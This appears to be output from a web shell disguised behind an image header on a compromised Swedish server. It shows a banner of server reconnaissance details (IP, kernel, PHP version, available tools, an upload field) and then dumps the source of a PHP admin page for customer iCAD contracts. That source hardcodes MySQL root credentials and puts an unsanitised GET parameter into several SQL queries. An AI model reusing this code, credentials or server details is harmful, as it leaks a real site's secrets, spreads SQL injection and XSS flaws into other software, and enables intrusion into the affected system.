????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.216.107 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/icad.astacus.se/admin/ |
Upload File : |
<?php
$CompanyId = $_GET['CompanyId'];
?>
<link href="../main.css" rel="stylesheet" type="text/css">
<script type="text/javascript" src="../customerzon/calendar.js"></script>
<script type="text/javascript" src="http://download.skype.com/share/skypebuttons/js/skypeCheck.js"></script>
<body onLoad="showClockSWE()">
<style type="text/css">
<!--
.style6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; }
-->
</style>
<table width="1000" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td width="90"> </td>
<td width="820"><table width="820" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="5" valign="top"><span class="heading2">Dina uppgifter: </span><br>
<table width="820" border="0" cellpadding="0" cellspacing="0">
<tr >
<td width="76" class="text">Namn:</td>
<td width="197" class="textthin"><?php echo($_SESSION['ASTACUS_SSO_INFO'][1]);?> (<?php echo($_SESSION['ASTACUS_SSO_INFO'][10]);?>) </td>
<td class="text">Telefon:</td>
<td class="text"><span class="textthin"><?php echo($_SESSION['ASTACUS_SSO_INFO'][6]);?></span></td>
<td width="1" rowspan="4" bgcolor="#999999" class="textthin"></td>
<td width="310" rowspan="4" valign="top" class="textthin"><table width="228" border="0" align="center" cellpadding="0" cellspacing="0">
<tr class="text">
<td width="89">Svensk tid: </td>
<td width="71">Indisk tid: </td>
</tr>
<tr class="textthin">
<td width="89"><div id="showTextSWE"></div></td>
<td>
<div id="showTextIND"></div></td>
</tr>
</table></td>
</tr>
<tr >
<td class="text">E-post:</td>
<td class="textthin"><?php echo($_SESSION['ASTACUS_SSO_INFO'][2]);?></td>
<td class="text">Adress:</td>
<td class="textthin"><?php echo($_SESSION['ASTACUS_SSO_INFO'][7]);?></td>
</tr>
<tr >
<td class="text">SkypeID:</td>
<td class="textthin"><a href="skype:<?php echo($_SESSION['ASTACUS_SSO_INFO'][11]);?>?call"><img src="http://mystatus.skype.com/smallicon/<?php echo($_SESSION['ASTACUS_SSO_INFO'][11]);?>" alt="My status" width="16" height="16" align="absmiddle" style="border: none;" /></a> <?php echo($_SESSION['ASTACUS_SSO_INFO'][11]);?></td>
<td class="text">Postadress:</td>
<td class="textthin"><?php echo($_SESSION['ASTACUS_SSO_INFO'][8]);?> <?php echo($_SESSION['ASTACUS_SSO_INFO'][9]);?></td>
</tr>
<tr class="text">
<td> </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
</table>
<hr width="820" size="1">
<span class="heading2"><br>
</span>
<table width="820" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="672" height="677" valign="top"><span class="heading2"> iCAD-avtal för kund <?php echo($_GET['CompanyId']);?>: </span><br>
<table width="441" border="0" cellspacing="0" cellpadding="0">
<tr class="text">
<td width="162" class="style6"><strong>Typ</strong></td>
<td width="58" class="style6"><strong>Timmar </strong></td>
<td width="172" class="style6"> </td>
<td width="49" class="style6"> </td>
</tr>
</table>
<span class="style6">
<?php
$link = mysql_connect ("localhost", "root", "root123");
mysql_select_db ("vpa");
$sql = "SELECT * FROM ICADAccount, ICADType WHERE ICADAccount.ICADTypeId = ICADType.ICADTypeId and CustomerId = $CompanyId;";
$result = mysql_query($sql);
while ($row = mysql_fetch_assoc($result)){
?>
</span>
<table width="455" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="162" class="textthin"><?php echo($row['Name']);?></td>
<td width="167" class="textthin"><?php echo($row['Hours']*20);?></td>
<td width="58" class="thintext"><a href="deleteaccount.php?accountid=<?php echo($row['ICADAccountId']);?>&CompanyId=<?php echo($row['CustomerID']);?>"><img src="../images/del.jpg" width="25" height="25" border="0"></a></td>
<td width="68" class="thintext"></td>
</tr>
</table>
<span class="style6">
<?php } ?>
</span> <br>
<br>
<span class="style6"><span class="heading2">Har skrivit på avtal?<br>
</span></span>
<?php
$sql = "SELECT * FROM Company WHERE CompanyId = $CompanyId;";
$result = mysql_query($sql);
while ($row = mysql_fetch_assoc($result)){
$ICADAccountSigned = $row['ICADAccountSigned'];
}
?>
<form name="form3" method="post" action="changeSigned.php?id=<?php echo($ICADAccountSigned);?>&companyId=<?php echo($CompanyId);?>">
<span class="heading2"><?php if($ICADAccountSigned == "1"){echo("JA");}else{echo("NEJ");}?></span>
<input type="submit" name="Submit2" value="Ändra till <?php if($ICADAccountSigned == "1"){echo("Nej");}else{echo("Ja");}?>">
</form>
<span class="style6"><span class="heading2"> </span></span><br>
<span class="style6"></span><span class="style6"><br>
</span><span class="style6"><span class="heading2">Datum för nollställning </span></span>
<form name="form1" method="post" action="changeflushdate.php?CompanyId=<?echo($_GET['CompanyId']);?>">
<?php
$link = mysql_connect ("localhost", "root", "root123");
mysql_select_db ("vpa");
$sql = "SELECT * FROM ICADFlush WHERE CompanyId = $CompanyId;";
$result = mysql_query($sql);
while ($row = mysql_fetch_assoc($result)){
$date = $row['NextFlushDate'];
$FlashInterval = $row['FlashInterval'];
}?>
<table width="432" border="0" cellpadding="0" cellspacing="0">
<tr>
<td width="89"><span class="text">Datum:<br>
<br>
Cykel: </span><br>
<label for="cykel"></label></td>
<td width="210"><input name="orderdate" type="text" id="datum2" value="<?php echo($date );?>">
<select name="cykel" id="cykel">
<option value="30">30 dagar</option>
<option value="14" <?php if($FlashInterval == "14"){echo("selected");}?>>14 dagar</option>
</select></td>
<td width="119"><input type="submit" name="Submit" value="Uppdatera!"></td>
<td width="14"> </td>
</tr>
</table>
<span class="style6"><span class="heading2"> <br>
</span></span>
</form>
<p><span class="style6"><span class="heading2">Användare<br>
</span></span>
<table width="671" border="0" cellspacing="0" cellpadding="0">
<tr class="text">
<td width="130">Namn</td>
<td width="137">Mail</td>
<td width="127">Tele</td>
<td width="17"> </td>
<td width="260">Administration</td>
</tr>
</table>
<span class="style6"><span class="heading2"><?php
//$sql = "SELECT Project.ProjectId FROM ProjectSystemUserJoin, Project where ProjectSystemUserJoin.ProjectId = Project.ProjectId and Project.CompanyId= $CompanyId group by Project.ProjectId;";
$sql = "SELECT * FROM SystemUser WHERE SystemUserStatusId = 1 and CompanyId = $CompanyId;";
$result = mysql_query($sql);
while ($row = mysql_fetch_assoc($result)){
?>
<table width="673" border="0" cellspacing="0" cellpadding="0">
<tr class="textthin">
<td width="110"><?php echo($row['Name']);?>
<div align="left"></div></td>
<td width="156"><?php echo($row['Username']);?>
<div align="left"></div></td>
<td width="145"><?php echo($row['Phone']);?>
<div align="left"></div> <div align="left"></div></td>
<td width="262">
<a href="setadmin.php?SystemUserId=<?php echo($row['SystemUserId']);?>&CustomerId=<?php echo($row['CompanyId']);?>">Gör till Admin</a> <a href="resetpassword.php?SystemUserId=<?php echo($row['SystemUserId']);?>&CustomerId=<?php echo($row['CompanyId']);?>"> Reset Password</a>
</td>
</tr>
</table>
<?php }?>
</span></span> </p>
<p class="heading2">Lägg till </p>
<form name="form2" method="post" action="adduser.php">
<table width="450" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="109" class="text">Namn:</td>
<td width="341" class="textthin"><input type="text" name="name" id="name"></td>
</tr>
<tr>
<td class="text">Mail:</td>
<td class="textthin"><input type="text" name="mail" id="mail"></td>
</tr>
<tr>
<td class="text">Tele:</td>
<td class="textthin"><input type="text" name="tele" id="tele"></td>
</tr>
<tr>
<td class="text">Skype:</td>
<td class="textthin"><input type="text" name="skype" id="skype"><input name="CompanyId" type="hidden" value="<?php echo($CompanyId);?>">
</td>
</tr>
<tr>
<td class="text"> </td>
<td class="textthin"><input type="submit" name="Submit" value="Lägg till"></td>
</tr>
<tr>
<td class="text"> </td>
<td class="textthin"> </td>
</tr>
</table>
</form> <p class="heading2"> </p>
<p><span class="style6"><span class="heading2"><a href="javascript:history.back(-1);"><img src="../images/Back-Arrow.jpg" width="68" height="67" border="0" align="absmiddle"></a></span></span><span class="heading1"> Tillbaka</span> <span class="style6"><span class="heading2"><br>
</span></span> <span class="style6"><span class="heading2"> </span> </span></p></td>
<td width="16"> </td>
<td width="132" valign="top">
<table width="124" border="0" align="center">
<tr>
<td class="textthin"><p>Om du vill ta bort ett avtal, klicka på den röda knappen. <br>
<br>
Vill du ändra nollställningsdatumet? I fältet visas nästa nollställningsdatum, ange ett nytt datum. Därefter kommer nollställningen äga rum i cykler av 14 dagar (eller 30 dagar om det är ett timkonto eller 100%) efter angivet datum.</p>
<p>Eventuella timmar mellan två perioder vid en ändring kommer att räknas med vid nästa faktureringstillfälle. <br>
</p></td>
</tr>
</table></td>
</tr>
</table>
<span class="style6"><br>
</span>
<hr width="820" size="1">
<span class="style6"> </span></td>
</tr>
</table></td>
<td width="90"> </td>
</tr>
<tr>
<td colspan="3"> </td>
</tr>
</table>